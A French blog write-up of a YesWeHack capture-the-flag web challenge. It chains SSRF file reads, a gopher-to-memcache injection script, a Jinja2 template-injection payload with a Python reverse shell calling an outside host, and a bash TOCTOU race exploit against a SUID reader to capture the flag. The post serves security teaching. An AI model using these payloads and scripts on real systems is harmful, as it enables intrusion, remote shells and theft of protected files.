SecurityInsider
Le blog des experts sécurité Wavestone

YesWeHack : Write-up du challenge LeHack




Le vendredi 28 juin dernier, l'association YesWeHack a publié sur son compte Twitter un challenge permettant de gagner une place pour l'événement LeHack, qui aura lieu les 6 et 7 juillet :


Ce dernier se présente sous la forme d'un challenge web nommé "Full Backend Stealer v3.13.37" :


Après plusieurs étapes, décrites ci-dessous, le challenge est tombé et la place a été attribuée !

Etape 1 : Server-side request forgery

Le serveur web se présente sous la forme d'une application permettant de récupérer le code source d'un autre site web. Par exemple sur le site wavestone.com :


Le requêteur a l'air d'être basé sur la libcurl, qui permet de gérer plusieurs protocoles d'accès aux données. A force de tests, le support pour les protocoles suivants à été établi :
  • http:// et https://
  • ftp://
  • gopher://
  • file://
Le protocole file:// permet notamment de requêter des fichiers locaux au serveur, permettant de réaliser une attaque de type Path Traversal. Par exemple, il est possible de recupérer le fichier /etc/passwd :



L'objectif serait alors de récupérer le code de l'application web. Pour ceci, le système de fichier procfs peut être utilisé, notamment le lien symbolique /proc/self qui pointe sur le répertoire /proc/<PID>/ de notre programme.
Les fichiers suivants sont d'intérêt :

/proc/self/environ : variables d'environnement

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=6a3165363d68 LANG=C.UTF-8 GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PYTHON_VERSION=3.7.3 PYTHON_PIP_VERSION=19.1.1 HOME=/nonexistent
Ce fichier nous apprend que l'application utilise Python3, donc probablement Flask ou Django.

/proc/self/cmdline : chemin et arguments du programme

/usr/local/bin/python /usr/local/bin/gunicorn -b 0.0.0.0:5000 -w4 -t5 main:app
Ce fichier nous confirme l'utilisation de Python et nous indique que la source de l'application est située dans le fichier main.py du répertoire courant.

/proc/self/cwd/main.py : code source de l'application

Le code source complet de l'application est disponible sur ce gist. Le fonctionnement de l'application peut être déduit rapidement de ce dernier :
  • L'application utilise un cache de type memcache, qui tourne sur le port 11211
  • Les résultats du requêteur sont stockés dans ce cache
  • Les résultats sont accessibles par la suite via une URI présentant un hash de l'URL requêtée
Les fonctions ci-dessous détaillent ce mécanisme :
APP_SECRET = b"s3cr3t_h4shm4c_c0d3" def hash_url(s): return HMAC(APP_SECRET, s.encode("utf8"), md5).hexdigest() def fullscreen(secret): cache_key = hash_url(secret) page_html = cache.get(cache_key) if page_html is None: return abort(404) html = FULLSCREEN_HEADER + page_html + FULLSCREEN_FOOTER css = html_formater.get_style_defs("body") title = secret return render_template_string(html, title=title, css=css) def fetch_and_store(url, refresh): """ fetch and store url into cache return secret """ secret = hash_url(url) cache_key = hash_url(secret) if not refresh and cache.get(cache_key) is not None: return secret raw_html = fetch(url) if not raw_html: raw_html = ":: Empty response ::" html = highlight_file(raw_html) cache.set(cache_key, html) return secret

On obtient notamment l'égalité suivante : 
memcache_storage_name = hash_url( cache_uri ) = hash_url( hash_url( user_url ) )

Etape 2 : Injection memcache et RCE Python

La vulnérabilité de type Server-Side Request Forgery (SSRF) permet notamment d'interagir avec le protocole Gopher. Ce dernier permet d'échanger sous un format brut avec un service en écoute sur un port, par exemple pour envoyer une requête HTTP :
gopher://host.com:80/_GET%20%2FHTTP%2F1.1%0D%0AHost:%20host.user0D%0A%0D%0A

Ce protocole nous permet donc d'échanger directement avec le serveur memcache, puisque memcache utilise un protocole en clair, sous le format suivant :
set <storage_location> <flags> <timeout> <nb_bytes> <data>

Le script suivant permet d'envoyer des données au serveur memcache puis de récupérer le résultat de l'exécution :
#!/usr/bin/python import requests import sys import time from hmac import HMAC from hashlib import md5 APP_SECRET = "s3cr3t_h4shm4c_c0d3" def hash_url(s): return HMAC(APP_SECRET, s.encode("utf8"), md5).hexdigest() def getUrl(url): r = requests.post('https://lehack2019.h4cktheplanet.com/full-bs', data={'url': url}) line = [e for e in r.text.splitlines() if '<iframe' in e][0] src = line.split('"')[1] r = requests.get('https://lehack2019.h4cktheplanet.com' + src) return r.text def encode(s): return ''.join([('%' + c.encode('hex')) for c in list(s)]) def memcached(pay): page = md5(str(time.time())).hexdigest() payload = '_\r\n' payload+= 'set %s 0 0 %d\r\n' % (hash_url(page), len(pay)) payload+= '%s\r\n' % pay payload+= 'quit\r\n' getUrl('gopher://memcached:11211/%s' % encode(payload)) r = requests.get('https://lehack2019.h4cktheplanet.com/full-bs/cache/%s' % page) ret = r.text return ret.split('<body>')[1].split('</body>')[0] print memcached(sys.argv[1])
Il est possible d'injecter du code Python au travers d'une vulnérabilité de type Server-Side Template Injection (SSTI) dans le moteur de templating Jinja2 :
{{ 7*7 }} => 49 {{ '7'*7 }} => 7777777
L'exécution de code sur le serveur repose sur la découverte de la classe subprocess.Popen au sein des variables accessibles dans l'environnement Python :
{{ "" }} "" {{ "".__class__ }} <class "str"> {{ "".__class__.__mro__ }} (<class "str">, <class "object">) {{ "".__class__.__mro__[1] }} <class "object"> {{ "".__class__.__mro__[1].__subclasses__() }} [<class "type">, <class "weakref">, <class "weakcallableproxy">, ...] {{ "".__class__.__mro__[1].__subclasses__()[250] }} <class "subprocess.Popen">
Il est alors possible d'exécuter un reverse-shell pour obtenir un accès console au serveur. Pour rappel, la commande suivante permet d'obtenir un shell plus friendly rapidement :
iansus @ iansus.net $ python >>> import attack >>> attack.memcached('{{ "".__class__.__mro__[1].__subclasses__()[250](["python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"iansus.net\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);\'"], shell=True, stdout=-1, stderr=-1).communicate() }}') iansus @ iansus.net $ nc -lvp 444 $ python -c 'import pty; pty.spawn("/bin/bash");' nobody@6a3165363d68:/usr/src/app$

Etape 3 : TOCTOU 4 the win!

Une fois en accès console sur le serveur, force est de constater que l'utilisateur courant dispose de peu de privilège. Notamment, le fichier contenant le flag ne peut pas être lu directement :
nobody@6a3165363d68:/usr/src/app$ ls -l ls -l total 52 -rwsr-sr-x 1 flag flag 17232 Jun 26 15:15 file_reader -rw-r--r-- 1 root root 1255 Jun 26 15:14 file_reader.c -rw------- 1 flag flag 131 Jun 26 14:23 flag.txt -rw-r--r-- 1 root root 4524 Jun 28 08:32 main.py -rw-r--r-- 1 root root 88 Jun 28 11:18 memecached -rw-r--r-- 1 root root 81 Jun 26 21:36 requirements.txt drwxr-xr-x 3 root root 4096 Jun 26 15:02 static drwxr-xr-x 2 root root 4096 Jun 26 17:00 templates

Un utilitaire SUID nommé file_reader peut permettre d'accomplir cette tâche. Le code source est fourni et est disponible sur ce gist. La portion de code suivante est d'intérêt :
// ... int file_belong_to_user(const char *filename) { struct stat path_stat; stat(filename, &path_stat); return (path_stat.st_uid == getuid()) && (path_stat.st_gid == getgid()) ; } // ... void read_file(const char *filename){ int fd = open(filename, O_RDONLY); if (fd < 0){ die("Unable to open \"%s\"\n", filename); } sendfile(fileno(stdout), fd, 0, get_file_size((filename))); } int main(const int argc, const char **argv){ if (argc < 2){ die("Usage: ./file_reader FILENAME...\n"); } for (int x = 0; x < argc - 1; ++x){ const char *filename = argv[x + 1]; if (!file_belong_to_user(filename)){ die("[ERROR] \"%s\" does not belong to you.\n", filename); } } for (int x = 0; x < argc - 1; ++x){ const char *filename = argv[x + 1]; read_file(filename); } return 0; }

Il s'agit ici d'une race condition, puisque les droits d'accès aux fichiers passés en arguments sont vérifiés avant l'accès effectif à ces fichiers.
En sélectionnant un fichier volumineux, l'envoi à l'utilisateur consomme un temps non négligeable, suffisant pour exploiter la vulnérabilité Time Of Check to Time Of Use (TOCTOU). Le script bash suivant permet de réaliser cet exploit :
#!/bin/bash mkdir /tmp/iansus chmod 777 /tmp/iansus python -c 'print("a"*20*1000*1000)' > /tmp/iansus/bigfile rm -f /tmp/iansus/my_file /tmp/iansus/link echo lolilol > /tmp/iansus/my_file chmod 777 /tmp/iansus/my_file ln -sf /tmp/iansus/my_file /tmp/iansus/link ./file_reader /tmp/iansus/bigfile /tmp/iansus/link & rm /tmp/iansus/link ln -sf /usr/src/app/flag.txt /tmp/iansus/link

Merci à YesWeHack pour la place !

Jean MARSAULT

Aucun commentaire:

Enregistrer un commentaire